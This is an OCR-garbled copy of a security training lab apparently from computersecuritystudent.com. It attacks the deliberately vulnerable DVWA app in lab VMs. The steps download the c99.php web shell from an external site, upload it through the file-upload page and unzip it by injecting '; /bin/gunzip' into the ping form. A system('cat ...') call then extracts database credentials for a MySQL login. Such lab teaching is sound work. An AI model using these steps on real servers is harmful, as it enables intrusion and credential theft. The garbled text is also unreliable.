(Damn Vulnerable Web App (DVWA))

{ Upload and use C99.php Backdoor shell }

Section 0. Background Information

1. What
O
O
2. What
O
(@]
(@]
3. What

is Damn Vulnerable Web App (DVWA)?

Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application t
damn vulnerable.

Its main goals are to be an aid for security professionals to t
skills and tools in a legal environment, help web developers be
understand the processes of securing web applications and aid
teachers/students to teach/learn web application security in a
environment.

is an Upload Attack Vector?

An Upload Attack Vector exists when a website application provi
ability to upload files.

Uploaded files represent a significant risk to applications.
The first step in many attacks is to get some code to the syste
attacked.

Then the attack only needs to find a way to get the code execut
Using a file upload helps the attacker accomplish the first ste
The consequences of unrestricted file upload can vary, includir
system takeover, an overloaded file system, forwarding attacks
systems, and simple defacement. It depends on what the applicat
with the uploaded file, including where it is stored.

is c99.php?

The ¢99 PHP utility provides functionality for listing files, &
forcing FTP passwords, updating itself, executing shell commanc
code. It also provides for connecting to MySQL databases, and i
a connect-back shell session. In many ways it can be considerec
equivalent of the rootkits that successful attackers often dowr
other ways it is the malware equivalent of PHPShell itself. c9¢
one of the utility programs that is either downloaded if a web
vulnerable due to being misconfigured, or can be used in a remc
include attack to try and execute shell commands on a vulnerabl
Figure 6 provides a screenshot of the c¢c99 PHP shell running on
server.



4. Pre-Requisite Labs

o

Damn Vulnerable Web App (DVWA): Lesson 1: How to Install DVWA in Fedora 14

5. Lab Notes

o

In this lab we will do the following:

We will download C99.php.

We will upload C99.php to the DVWA Upload screen.

We will search for sensitive database files.

We will extract the database password.

We will execute netcat from the C99.php Bind Interface.

g~ e

6. Legal Disclaimer

o

As a condition of your use of this Web site, you warrant to
computersecuritystudent.com that you will not use this Web site
purpose that is unlawful or that is prohibited by these terms,
conditions, and notices.

In accordance with UCC § 2-316, this product is provided with '
warranties, either expressed or implied." The information contse
provided "as-is", with "no guarantee of merchantability."

In addition, this is a teaching website that does not condone n
behavior of any kind.

You are on notice, that continuing and/or using this lab outsic
"own" test environment is considered malicious and is against t
© 2013 No content replication of any kind is allowed without e:
written permission.

Section 1: Configure Fedoral4 Virtual Machine Settings

1. Open

2. Edit

Your VMware Player
Instructions:
1. On Your Host Computer, Go To
2. Start --> All Program --> VMWare --> VMWare Player

BackTrack Virtual Machine Settings
Instructions:

1. Highlight fedorald

2. Click Edit virtual machine settings


http://www.computersecuritystudent.com/SECURITY_TOOLS/DVWA/lesson1/index.html

fedoraiqd

State:
0S:
Version:
RAM:

Powered Off

Red Hat Linux
Workstation 6.5-7.x virtual machine
640 MB

[_E{l} Play virtual machine

Q
& Editvirtual machine settings

3. Edit Network Adapter

o

Instructions:
1. Highlight Network Adapter
2. Select Bridged
3. Click on the OK Button.



Hardware | Options

Device Summary De\noe status
% Memory 512M8 {_|Connected
[ Processors 1 [V] Connect at power on
mHard Disk (SCSI) 20GB .
£, CD/DVD (IDE) Auto detect Nﬁmﬂqnwwm
=4 Floppy Auto detect 2. WP © Bridged: Connected drrectly to the physical network
[P Reptcate physcal network connecton stae
e
U;;;mc::'" s ©) NAT: Used to share the host's IP address
=:printer Present ) Host-only: A private network shared with the host
Boisplay Auto detect & iiii 5
(LAN Segments... | [ Advanced...
L Add... ][ Remove ]

[ ok || cacel |[ Hep

Section 2: Login to Fedoral4

1. Start Fedorald4 VM Instance
o Instructions:

1. Start Up VMWare Player
2. Select Fedorali
3. Play virtual machine



fedoraiqg

State:
OS:
Version:
RAM:

Powered Off

Red Hat Linux

Workstation 6.5-7.x virtual machine
640 MB

&

Play virtual machine

~

Edit virtual machine settings

2. Login to Fedoral4

o

Instructions:

1. Login: student
<whatever you set it to>.

2. Password:



password: ||

Cancel

B | engiish United States) | v =% |USA Sun 10:42 AM

Sl T e

Section 3: Open Console Terminal and Retrieve IP Address

1. Start a Terminal Console
o Instructions:

1. Applications --> Terminal



| W x oo addnt (xasd

Y Accessories
[ Games

% Graphics
(&) Intemet
%4 office

) Sound & Video

Places System @& (o 7

: S\

- B Automatic Bug Reporting Tool

= CD/DVD Creator

'S, Déja Dup Backup Tool
&) Disk Usage Analyzer
= Disk Utility

@ stLinux Troubleshooter
&= Software Log Viewer

B System Monitor

.i_'" D wa~ W LN

Use the command line

To drect input 1o this vitual machine, press Q4G

2. Switch user to root

e}

Instructions:
1. su - root

Sun Apr 1, 10:45 AM  Stude

g [
EPEL T EEE vmware

2. <Whatever you set the root password to>



root@Fedorald:~

File Edit View Search Terminal Help

[student@Fedorald ~]$ su - root
Password:
[root@Fedorals ~]# |

3. Get IP Address
o Instructions:
1. ifconfig -a
o Notes:
* As indicated below, my IP address is 192.168.1.106.
= Please record your IP address.



File Edit View Search Terminal Help

[root@Fedoral4 ~]# ifconfig -a
ethe Link encap:Ethernet HWaddr 00:0C:29:81:54:42

inet addr:)CRIBUEIPWBLLS Bcast:192.168.1.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fe81:5442/64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1560 Metric:1

RX packets:2893 errors:0 dropped:0 overruns:0 frame:0

TX packets:366 errors:0 dropped:® overruns:® carrier:0
collisions:0 txqueuelen:1060

RX bytes:546934 (534.1 KiB) TX bytes:58291 (56.9 KiB)
Interrupt:19 Base address:0x2000

lo Link encap:lLocal Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:48 errors:0 dropped:0 overruns:® frame:0
TX packets:48 errors:0 dropped:® overruns:® carrier:0
collisions:0 txqueuelen:®
RX bytes:3520 (3.4 KiB) TX bytes:3520 (3.4 KiB)

[root@Fedorald ~]# |}

(B root@Fedorald:i~ | @ Google - Mozilla Firefox |

To drect inpt 1o this vitual machine, press QieG. i ey WO are

e}

Section 4: Fix Upload Ownership and Permissions

1. Fix Ownership and Permissions
o Instructions:
1. Bring up a Terminal Console on the DVWA (Fedoral4) machine
2. chown root:apache /var/www/html/dvwa/hackable/uploads/
3. chmod 775 /var/www/html/dvwa/hackable/uploads/
4, 1s -1d /var/www/html/dvwa/hackable/uploads/
o Known Issue:
1. By default, the /var/www/html/dvwa/hackable/uploads/ direc
user and group owned by root.
2. In addition, the apache user did not have "write" permissi
allow a user to place a file in the hackable/uploads direc



P9 Applications Places System

root@Fedorala:/

File Edit View Search Terminal Help

[root@Fedorald /)# chown root:apache /var/www/html/dvwa/hackable/uploads/
[root@Fedorald /)#

[root@Fedorald /]# chmod 775 /var/www/html/dvwa/hackable/uploads/

[root@Fedorald /)#

[root@Fedorald /)# ls -1d /var/www/html/dvwa/hackable/uploads/

drwxrwxr-x. 2 root apache 4896 Apr 23 07:23 /var/www/html/dvwa/hackable/uploads/
[root@Fedorals /]# |}

[ B8 root@Fedorald:/ | B student@Fedorald:~

1 =
EREL T e

Section 5: Configure BackTrack Virtual Machine Settings

1. Open Your VMware Player
o Instructions:

1. On Your Host Computer, Go To
2. Start --> All Program --> VMWare --> VMWare Player

2. Edit BackTrack Virtual Machine Settings
o Instructions:

1. Highlight BackTrack5R1
2. Click Edit virtual machine settings



are Payer Hie v Vit

BackTrack5R1

State: Powered Off

0S: Ubuntu
Version: Workstation 6.5-7.x virtual machine
RAM: 512MB

KJ_P‘D Play virtual machine

2
j"’ Edit virtual machine settings @

3. Edit Network Adapter

e}

Instructions:
1. Highlight Network Adapter
2. Select Bridged
3. Click on the OK Button.



Device Summary Heve saue
5 Memory 512M8 L tamneced
[ Processors 1 1] Connect at power an
e Hard Disk (SCSI) 20GB A
[ Floppy Auto detect 2. .-‘gﬁ:andoed:Comcmddrecﬂymmed\Mnewk
Network Adapter  Bridged [T} Repicate physical network connection state
JUSBCog::lar :.::::tzct (7 NAT: Used to share the host's IP address
= () Host-only: A private network shared with the host
@éhhmr Present
& Display Auto detect ) LAN segment:
[UN&amn&u][Ahunwu.
| Add...

Section 6: Login to BackTrack

1. Start BackTrack VM Instance

o Instructions:

1. Start Up VMWare Player
2. Select BackTrack5R1
3. Play virtual machine



gU BadTraksR1

RAM:

BackTrack5R1
State: Powered Off
0S: Ubuntu
Version: Workstation 6.5-7.x virtual machine

512 MB

EE Play virtual machine @

2. Login to BackTrack
o Instructions:

1. Login: root

g
& Editvirtual machine settings

2. Password: toor or <whatever you changed it to>.



- BackTrackSR1 - VMware Player File ~ Virtual Machine ~ Help ~ —_

3.3125671 Copyright (c) 1999 8 LSI Corporation
3.3134561 FDC © is a post-1991 82077
3.3408771 pcnet3Z2: penet3Z.c:vl.35 21 .Apr.2008 tsbogend@alpha.franken.de
3.3605671 pcnet3Z 0000:02:01.0: PCI INT A -> GSI 19 (level, low) -> IRQ 19
3.3648711 agpgart-intel 0000:00:00.0: Intel 440BX Chip
3.3685321 pcnet3Z: PCnet/PCI I1 79C970A at OxZ2000, 190:13:78 assigned IRQ 19
: agpgart-intel ©000:00 : AGP aperture is )
pcnet3Z2: etho: registered as PCnet/PCI 11 79C970A
3. pcnet3Z2: 1 cards_found
3.4046911 Fusion MPT SPI Host driver 3.04.18
3.408410) nptspi 0000:00:10,0: PCI INT A -> GSI 17 (level, low) -> IRQ 17
3.408733]1 mptbas io Initiating bringup
3.4882821 iocO: LSIS3C1030 BO: Capabilities={Initiator}
3.6561801 s y iocO: L 3C1030 BO, FuRev=01032920h, Ports=1, Max()=128, IRQ=17
7161 scsi 2:0:0:0: Direct-ficcess UNware, VUMuware Virtual S 1.0 PQ: © ANSI:
i targe :0: Begimning Domain Validation
targe ):0: Domain Validation skipping write tests
. - >si targetZ:0:0: Ending Domain Validation
3.787761) :0:0: FAST-40 WIDE SCSI1 80.0 MBrss ST (25 ns, offset 127)
3.794467) s 0 [sdal 41943040 512-byte logical blocks: (21.4 GB/20.0 GiB)
3.795671]) sd 0:0: [sdal Write Protect is off
J.795811) s 0:0:0: [sdal Cache data unavailable
. 7958811 sd [sdal] Assuming drive cache: write through
3.800343] s 101 : Attached scsi generic sgl type ©
3.801376]) sd 2:0:0:0: [sdal Cache data unavailable
( sdal Assuming drive cache: write through
3.8556261 : sdaZ < sdaS >
3.883776]1 s¢ 0:0: [sdal Cache data unavailable
3.8875051 sd 2 : [sdal Assuming drive cache: write through
3.887577]1 sd 2:0: : [sdal Attached SCSI disk

BBackTrack 5 Ri Code Name Revolution 3Z bitbt ttyl

bt login: root
jPassword:

o [[Todrect input to thes vitual machine. press Cut«G. [ o - - T =y s ol L

3. Bring up the GNOME
o Instructions:

1. Type startx



= BackTradGR1 - Vidware Player., fle v, Victuat Maches .= Help, >

e a ————— ~ v -  pera T MY - N WP P T
O ﬁéh}m‘lchn‘_ﬂ'ﬂ?" orass Ol B . IRl (WY L

Section 7: Open Console Terminal and Retrieve IP Address

1. Open a console terminal
o Instructions:

1. Click on the console terminal



lackTra R1 ‘ File + Virts D " .
5 s AT, % AU

s System [+ | Wed Dec 7, 7:08 AM

|
!
:
\

ce bhack | traclk [=

— e =

Todredrww&umrnod-ne.mw |
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2. Get IP Address
o Instructions:
l. ifconfig -a
o Notes:
» As indicated below, my IP address is 192.168.1.105.
» Please record your IP address.



Hlaces Systerm | Sun Mar 18, 10:51 AM

root@bt:-# ifconfig -a

root@bt: ~

etho Link encaps Hiaddr 00:0¢:29:90:13:78
1¢ S| Bcast:192.168.1.255 Mask:255.255.255.0
grr29ff:fe90:1378/64 Scope:Link
up BROADCAST RUNNING MULTICAST MTU:1560 Metric:1
RX packets:870 errors:0 dropped:@ overruns:0 frame:0
TX packets:118 errors:@ dropped:@ overruns:® carrier:0
collisions:0 txqueuelen:1600
RX bytes:105401 (185.4 KB) TX bytes:27674 (27.6 KB)
Interrupt:19 Base address:0x2000
lo Link encap:Local Loopback
inet addr:127.0.6.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:113 errors:0 dropped:® overruns:@ frame:@
TX packets:113 errors:0@ dropped:® overruns:8 carrier:0
collisions:® txqueuelen:®
RX bytes:7793 (7.7 KB) TX bytes:7793 (7.7 KB)
root@bt:-# ]

[root@bt: /pentest/exp.. [root@bt: ~] ) root@bt: ~ 2

ERE) T ele  vmware

Section 8: Download c99:php

1. Open a console terminal
Instructions:

1. Click on the console terminal

e}



¢ Bad ackSR1 - lware Playe File » Vit D " :
A A A O PR NN oL D LNV D3 AN % ead)

\ Applications Places System [%_ | Wed Dec 7, 7:08 AM

|
!
:
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ce bhack | traclk [=

% — e =

Todredrww&umod-ne.mcﬂo(i |
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2. Create msfpayload
o Instructions:

mkdir -p /root/backdoor

cd /root/backdoor/

wget http://r57.gen.tr/shell/c99.rar
ls -1 c99.rar

rpobdE



i BackTrackSR1 - VMware Player (Non-commercial use only) L AORES

Tue Feb 26, 10:13 P

X root@bt: ~/backdoor

# mkdir -p /root/backdoor

root@bt:

root@bt:/#

root@bt: /#

root@bt: /# cd /root/backdoor/ «

root@bt: ackdoor#

root@bt ackdoor#

root@bt:-/bacl ::~ # wget http://r57.gen.tr/shell/c99.rar «

--2013-02- 26 22:12:32-- http://r57.gen.tr/shell/c99.rar
Resolving r57.gen.tr... 31.210.98.29

Connecting to r57.gen.tr|31.219.98.291:89... connected.
HTTP request sent, awaiting response... 200 OK

Length: 41044 (40K) [application/x-rar-compressed]
Saving to: "c99.rar’

100%( >] 41,044 71.4K/s 1in 0.6s

2013-82-26 22:12:33 (71.4 KB/s) - "c99.rar' saved [41044/41044]

|
root@bt:-/backdoor# 1s -1 ¢99.rar
“rW-r==r-- 1 root root 41044 2012-06-26 16:00 c99.rar «

root@bt: i ackdoo #
root@bt:~/backdoo
root@bt:~/back # [

™ 1 root@bt: ~/backdoor ) r57.txt - c99.txt - 157 s...

3. Edit PHONE HOME.php
o Note(FYI):
* A rar file is a type of compress format that is seen more
windows environment than in linux.
= Also, we will edit the c99.php file with the sed utility.
o Instructions:
0. unrar x c99.rar
» Extract c99.php
1. cp c99.php c99.php.bkp
2. head -1 c99.php
» Notice how the first line does NOT contain "<?php".
3. sed -1 'l s/".*$/<?php/g' c99.php
» This only replaces the first line of file with "<?phr
4. head -1 c99.php
» Notice how the first line DOES contain "<?php".



5. gzip c99.php
» T compress c99.php, because DVWA does not allow you t
files greater than 10000 bytes.
» T use gzip instead of rar, because gzip pretty much c
standard on most flavors of linux.

6. 1s -1
"33 BackTrackSR1 - VMware Player(Non;merdal use only) - & ‘ﬁ. - @ -@‘!

Player v | [jfi v (4 M W *3 | Ty = & =
N Applications Places L Tue Feb 26, 10:33 P

x root@bt: ~/backdoor

root@bt:~/backdoor# unrar x c99.rar

UNRAR 3.90 beta 2 freeware Copyright (c) 1993-2009 Alexander Roshal

Extracting from c99.rar

Extracting ¢99.php 0K
All OK
root@bt:-/backdoor#

root@bt:-/backdoor# cp ¢99.php ¢99.php.bkp
root@bt:~/backdoor#
root@bt:~/backdoor#

root@bt:~/backdoor# head -1 C99.php¢
<?

root@bt:-/backdoor#

root@bt:~/backdoor#
root@bt:~/backdoor# sed -1 '1 s/~.*$/<?php/g' ¢99.php «
'root@bt: backdoor#
root@bt:-/backdoor#

root@bt:-/backdoor# head -1 c99.php¢
<7php

root@bt:-/backdoor#

root@bt:~/backdoor#

root@bt:-/backdoor# gzip c99.php

lroot@bt:~/backdoor#

root@bt:-/backdoor#

root@bt:~/backdoor# 1s -1

total 240

-rw-r--r-- 1 root root 153275 2013-062-26 22:32 ¢99.php.bkp
-rW-r--r-- 1 root root 43786 2013-02-26 22:32 ¢99.php.gz
-fw-r--r-- 1 root root 41644 2012-06-26 16:00 c99.rar

W™ [~ root@bt: ~/backdoor ) r57.txt- c99.txt - 157 s...

Section 9: Login to DVWA

1. Start Firefox
o Instructions:

1. Click on Firefox



Wed Apr 11, 11:30

2. Login to DVWA
o Instructions:

1. Start up Firefox on BackTrack

2. Place http://192.168.1.106/dvwa/login.php in the address &
» Replace 192.168.1.106 with the IP address of the DVWZ

(Fedoral4d4) machine obtained in (Section 3, Step 3).

3. Login: admin

4. Password: password

5. Click on Login



Mon Apr 16, 614 AM &

* Damn Vulnerable Web App (DVWA) - Login - Mozilla Firefox

Damn Winerable Web App (OV... B3
< © | htp/192.168.1.106/dvwallogin. php < viel [ty Q

DVWA)

Username

admin «

Password

o000000S ‘

") Damn Vulnerable Web .,

Section 10: Set Security Level

1. Set DVWA Security Level
o Instructions:
1. Click on DVWA Security, in the left hand menu.
2. Select "low"
3. Click Submit



Places Systen Mon Apr 16, 6:17 AM &

* Damn Vulnerable Web App (DVWA) v1.0.7 :: DVWA Security - Mozilla Firefox

Damn Vulnerable Web App (DV...

"v'—‘ © BB hitp-//192,168.1.106/dvwa/security.php vel gy Q
Home | DVWA Security »
Instructions |
Setup | Script Security

Security Levei Is currently low.

Brute Force |
_ You can set the security level to low, medium or high
Command Execution
= . The secunty level changes the vuinerabiity level of DVWA
CSRF |
File Inclusion | ) (e <= 3.
QL Injection J medium ‘
SQL Injection (Blind)
Upload |
v.0.6 (PHP-Intrusion Detection System) is a security layer for PHP based web applications
XSS reflected ]
You can enable PHPIDS across this site for the duration of your session
XSS stored ]

PHPIDS is currently disabled. [cnabie PHPIDS)

(Simulate attack] - [Viex ]

| mmmed )

S Scripts Currently Forbidden | <SCRIPT>: 1 | <OBJECT>: 0

) Damn Vulnerable Web ... ] root@bt: -

ERELET e vmware

Section 11: Upload PHP Payload

1. Upload Menu
o Instructions:

1. Select "Upload" from the left navigation menu.
2. Click Browse



LI rackSh

\ Applications Places System @) Sun Apr 22, 10:10 PM &
* Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: File Upload - Mozilla Firefox

B Damn Wuinerable Web App (DV... B3

« S | B hitp://192.168.1.106/dvwajvulnerabilities/upload/ RE T Q
DYWA)
</

Vulnerability: File Upload

Home

"‘!‘.’“““" I Choose an image to upioad

WP ] ‘_Browse..._‘« 2.

Brute Force
Command Execution
CSRF

|
f
File Inclusion ]
|
|
|
|
|

More info

SQL Injection

sQL Injection (Blind)
g T
XSS reflected

XSS stored

— ey
S Scripts Currently Forbidden | <SCRIPT>: 1 | <OBJECT>: 0 | Options... |

W™ [ root@bt: ~/backdoor ) Damn Vulnerable Web ... &)

To drect input to this virtual machine. press CirsG. — ol Wels vmware

2. Navigate to /root/backdoor/c99.php.gz

e}

Instructions:
1. Click on root icon, then the backdoor folder
2. Click on c99.php.gz
3. Select Open



(5 BackTrackSR1 - VMware Player (Non-commercial use only) - ¥ e T e

Player v | [Jjj v () W W »3 | Y = &

y Tue Feb 26, 10:46 F

File Upload
> ¢ | < mroot backdoor

med ©

| Location: |c99.php.gz
Places | |Name Size Modified ¥
Q search W c99phpgz 2 428KB 22:32
& Recently Used ¢99.php.bkp 149.7 KB 22:32
i root « & c99.rar 40.1KB 06/26/2012
B Desktop i
s File System
. Floppy Drive

<] root@bt: ~/backdoor ) Damn Winerable Web ...

3. Upload c99.php.gz
o Instructions:
1. Click the Browse button and navigate to /root/backdoor/c9¢
2. Click the Upload Button
o Note(FYI):

» Hopefully you will receive a successfully uploaded message
below.



."-3_»} BackTrackSR1 - VMware Player (Non-commercial use only) - ¥ $ 'o - - =NEON

Player v v 4 oE W » W o= &
Tue Feb 26, 10:51 P

[B] Damn Vulnerable Web App (... % B3

& S) ﬁm) /192.168.1 106.'dvwa,'\/ul.r'lerabzl|t|es,fuploadfu ve -'v q :

S BackTrack Linux [JjOffensive Security KJExploit-DB Wy Aircrack-ng FESEORG.org gMusicy

Vs . Vulnerability: File Upload

Instructions l Choose an image to upload

Setup | froot/backdoor/c99.php.gz | Browse... | «

Upioad «

../ ../hackable/uploads/c99.php.gz succesfully uploaded!

N _Brute Force
Command Execution

‘ CSRF

File inclusion

saL Injection

SaL Injection (Blind)

More info

XSS reflected
XSS stored

=] root@bt: ~/backdoor ) Damn Vulnerable Web ...

4. Activate PHONE HOME.php
o Instructions:
0. http://192.168.1.106/dvwa/hackable/uploads/
* Replace 192.168.1.106 with the IP address of the DVWZ
(Fedorald4) machine obtained in (Section 3, Step 3).
1. Notice c99.php.gz is listed
2. Click the Back Button after you read the below Note.
o Note(FYI):
» Okay this is great and all, but we still have a problem.
= The problem is that we cannot execute a compressed php fil



"4 BackTrackSR1 - VMware Player (Non-commercial use only) - R ; - T b= ()

Player v | [ (2 m » 2 - &
w TR P ystem 519 y Tue Feb 26, 10:56

* Index of /dvwa/hackable/uploads - Mozilla Firefox

Index of /dvwa/hackable/upl... 3%

- 8 (L '"}%}T;)T;i'é'z'iéa'.flBé}a'vwaiﬁac'kasie.«ibiosa;f«' = £
leeck‘rrack Linux [offensive Security KRExploit-DB Wy Aircrack-ng SISEORG.org gMusic ¥

,'—6' 43'7'? '& l

Index of /dvwa/hackable/uploads

+ Parent Directory -
EJ ’ - SOAPE-2012 2308 L8 We have a problem, we cannot
: £99.php.gz 26-Feb-2013 22:50 43K | execute a compressed php file.

dvwa_emailpng 16-Mar-2010 00:56 667

(%] xss.html 30-Apr-2012 01:14 271

Apache/2.2.17 (Fedora) Server at 192.168.1.106 Port 80

&= [ root@bt: ~/backdoor ) Index of /dvwa/hackab...

5. Use Command Execution to uncompress c99.php.gz
o Instruction:
0. Click on Command Execution
1. 192.168.1.106; /bin/gunzip -v ../../hackable/uploads/c99.x
* Replace 192.168.1.106 with the IP address of the DVWZ
(Fedorald4) machine obtained in (Section 3, Step 3).
2. Click the Submit Button



i % BackTrackSR1 - VMware Player (Non-commercial use only) . e ™~ T o

Player ~ vy 4 E >3 Py = Sy
e ] ) Tue Feb 26, 11:06
* Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Brute Force - Mozilla Firefox

Helf

{8 Damn Wulnerable Web App (... % B3

"'.7 |.'w S) |8 http://192.168.1.106/dvwa/vulnerabilities/exec/# ve [*g v Q

Sy BackTrack Linux [JjOffensive Security KJExploit-DB Wy Aircrack-ng F3ISEORG.org ggMusicv

) Home ' Vulnerability: Command Execution
[G— Ping for FREE
Setup |

Enter an IP address below.

*} 192.168.1.106; /birvgunzip ../, /mackable | submit ¢

)| - . « PING 192.168.1.166 (192.168.1.106) 56(84) bytes of data.

csﬁ I 64 bytes from 192.168,.1.106: icmp reqel ttle64 timee5,99 ms
64 bytes from 192.168.1.106: icmp reqe2 ttl«64 time«0,122 ms

Flle Inclusion [ 64 bytes from 192.168.1.106: icmp reqe3 ttl=64 time=9,080 ms

SQL Injection I 192.168.1.106 ping statistics ---

lol.ln]oellon Ind) 3 packets transmitted, 3 received, 0% packet loss, time 2002ms

(" l rtt min/avg/max/mdev = 0.080/2.065/5.993/2.777 ms

Upload 1

XSS refiected |

Xssstored | More info

=] root@bt: ~/backdoor ¢ Damn VWinerable Web ...

6. Establishing a Shell
o Instructions:
0. http://192.168.1.106/dvwa/hackable/uploads/
» Replace 192.168.1.106 with the IP address of the DVWZ
(Fedoral4d4) machine obtained in (Section 3, Step 3).
1. Click on c¢99.php



1) BackTrackSR1 - VMware Player (Non-commercial useonly) W T T e
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System

* Index of /dvwa/hackable/uploads - Mozilla Firefox

; Index of /dvwarhackable/upl... 3% B3
| @ 8 ||| http://192.168.1.106/dvwa/hackable/uploads/ « vtC' ET al
| @¥BackTrack Linux [[Offensive Security ERExploit-DB WAircrack-ng FISEORG.0rg gMusic ¥

Index of /dvwa/hackable/uploads

¢ Name Last modified Size Description

JEﬂLent_mngma

29-Apr-2012 23:35 1.3K
l E‘It“"nlm 26-Feb-2013 22:50 150K

[ dvwa_email.png 16-Mar-2010 00:56 667
(%) xss.html 30-Apr-2012 01:14 271

Apache/2.2.17 (Fedora) Server at 192.168.1.106 Port 80

¥ [5) root@bt: ~/backdoor ") Index of Jdvwa/hackab...

Section 13: Using c99.php's to grab database password

1. Server security information
o Instructions:
1. Click on the Sec. link

2. Select "find config.inc.php files"
» Sometimes ignorant application admins place database

files in a public location.
3. Click on the Execute button
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Player v v B » o a =&
s Places System | .) Tue Feb 26, 11:23 F
x 192.168.1.106 - c99shell - Mozilla Firefox

Histor Bookmarks Tools Help

192.168.1.106 - c99shell ®x K

N, S http://192.168.1.106/dvwa/hackable/uploads/c99.phpract=security&d=%2Fvars v | v Goo Q|
B BackTrack Linux [Offensive Security KlExploit-DB W Aircrack-ng F3SEORG.org ggMusicy

# C99Shell v. 1.0 beta (21.05.2005) ¥

Software: Apache/2.2.17 (Fedora). PHP/5.3.8

uname -a: Linux Fedoral4d 2.6.35.6-45.1c14.1686 #1 SMP Mon Oct 18 23:56:17 UTC 2010 1686
uld=48(apache) gld=48(apache) groups=48(apache) context=system_u:system_rhttpd_t:s0
Safe-mode:

Jvar/www/htmi/dvwa/hackable/

Free 4,14 GB of 5.17 GB (80.16%)

4
‘ ¢ Y b n @~ ‘ Encoder Bind Proc. FTP brute Sec. SQL PHP-«code Feedback Self
remove Logout 1

Server security Iinformation:
Software: Linux
Safe-Mode:
Open base dir:

Get /etc/passwd

i Command execute ::

it Search
1 ™ e

=] root@bt: ~/backdoor t) 192.168.1.106 - c99sh...

2. Server security information
o Instructions:
1. Highlight /var/www/html/dvwa/config/config.inc.php
2. Select Edit --> Copy
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Player « v 0 :-: i > E’J‘ = "tu
\, Applications Places System [>_] &) Tue Feb 26, 11:29 |
¥ 192.168.1.106 - c99shell - Mozilla Firefox
Edit View History Bookmarks To Helr

192.168.1.106 - c99shell oK

"o BackTrackSR1 - VMware Player (Non-commercial use only)

B 1.iOG.’d»'wa,"nackable,fuploadé.fc99‘php?actzcmd
Copy 2 It Security KNExploit-DB WAircrack-ng F3SEORG.0rg gMusic ¥

)19Shell v. 1.0 beta (21.05.2005) #

Soft - PHP/S5.3.8

unat Calact A Feriepn 345.1c14.1686 #1 SMP Mon Oct 18 23:56:17 UTC 2010 i686
uld= o = X ) Jroups=48(apache) context=system_u:system_r:httpd_t:s0
Safe Find Ltri+F

/var

c

Free Fre

4
“ 4= > u n “ ‘ Encoder Bind Proc. FTP brute Sec. SQL PHP-code Feedback Self

remove Logout

Result of execution this command

g var/ o mtmy dvwaconnia/conhio mc oS

& [ root@bt: ~/backdoor £ 192.168.1.106 - c99sh...

3. PHP-code

o

Instructions:
1. Click on the PHP-code link
2. In the Execution PHP-code box place the below command:
» system("cat /var/www/html/dvwa/config/config.inc.php'
3. Click on the Execution Button
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Player v O » 2 O
Applications Places System [ | &) Tue Feb 26, 11:36 P
*x 192.168.1.106 - c99shell - Mozilla Firefox

T Helg

192.168.1.106 - c99shell ® K3

< S) || http://192.168.1.106/dvwa/hackable/uploads/c99.phpact=evalsd=%2F v | [v coQ] ¢

| B BackTrack Linux [[Offensive Security KRExploit-DB Wy Aircrack-ng F3SEORG.org gMusic v
Free 4.14 GB of 5.17 GB (80.14%)

4. »
‘ - v E 6\ ‘ Encoder Bind Proc. FTP brute Sec. SQL PHP-code Feedback
remove Logout

1

Execution PHP-code

' system-(“cat [va r/gwww]iit'rﬁ-l/*d”\n&afcon‘fi_g-/-conﬁg.ihc;pﬁﬁ’»{)_;\

2

12 Command execute ::

Select:

T ————— R )
% [ root@bt: ~/backdoor OB L R BRLd 192.168.1.106 - c99shell - Mozilla Fmefox

4. Extract Database Password
o Note (FYI):
» Notice the config.inc.php file list the database name, use
password information.
o Instructions:
0. Write down the the database name, username and password ir
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Player v v (4 = > B = &
\ Applications Places System [5 | ') Tue Feb 26, 11:42 P
% 192.168.1.106 - c99shell - Mozilla Firefox

File Edit View H

B S57.txt - c99.txt - 157 shell 192.168.1.106 - c99shell % K3

<« S) || http://192.168.1.106/dvwa/hackable/uploads/c99.phpract=evalad=%2F v | [$Jv coQ] ¢

B BackTrack Linux [JOffensive Security KJExploit-DB Wy Aircrack-ng F3SEORG.org ggMusic v
|<?php

{# If you are having problems connecting to the MySQL database and all of the variables below are correct
13 try changing the 'db server' variable from localhost to 127.0.0.1. Fixes a problem due to sockets
{# Thanks to digininja for the fix

1
|# Database management system to use
|

{SDBMS = ‘MySQL';
|#SDBMS = 'PGSQL'
‘;f-‘ Database variables
|

IS /A = arrayl();

| DVWA[ 'db server' | = ‘'localhost’ )

'db database' ] = 'dvwa’; How do you like them apples?

S DVWA[ 'db user’ | = ‘root’; + Database Name: dvwa
$ DVWA[ 'db password' ] = 'dvwaPASSWORD' ’
+ Database Username: root

|# Only needed for PGSQI + Database Password: dvwaPASSWORD
(S DVWA[ 'db port' | = '5432";

=] root@bt: ~/backdoor SRR B -, 192.168.1.106 - ¢99shell - Mozilla Firefox -

Section 14: Using c99.php's to examine pillage the database

1. Connect to SQL

o Instructions:
Click the SQL navigation link.
Username: root
Password: dvwaPASSWORD
Database: dvwa
Click the Connect Button

ARSI A
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Player v | [ v (2 i 0 = e = &
Applica laces n > } Wed Feb 27, 6:20 A
¥ 192.168.1.106 - c99shell - Mozilla Firefox
Histor B Kmark o0 Help

192.168.1.106 - c99shell ® K

S http://192.168.1.106/dvwa/hackable/uploads/c99.phpract=sql&d=%2Fv v'C_’
B BackTrack Linux [Offensive Security KBExploit-DB W Aircrack-ng F3SEORG.org gMusicv

@ co9Shell v. 1.0 beta (21.05.2005) ¥

Software: Apache/2.2.17 (Fedora). PHP/5.3.8

uname -a: Linux Fedorald 2.6.35.6-45.1c14.1686 #1 SMP Mon Oct 18 23:56:17 UTC 2010 1686
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd t:s0
Safe-mode:

Jvar/www/html/dvwa/hackable/

Free 4.14 GB of 5.17 GB (80.14%)

4 -
“ N7 Y E gx i Encoder Bind Proc. FTP brute Sec. SQL PHP-code Feedback Self

remove Logout
1
Attention! SQL-Manager Is NOT ready module! Don't reports bugs.

SQL Manager:

) CONNECTIOM

Please, fill - 2 form: 4
Username Database

it Command execute ::

Enter:

] root@bt: ~/backdoor £ 192.168.1.106 - c99sh...

Connect to SQL
o Note(FYI):
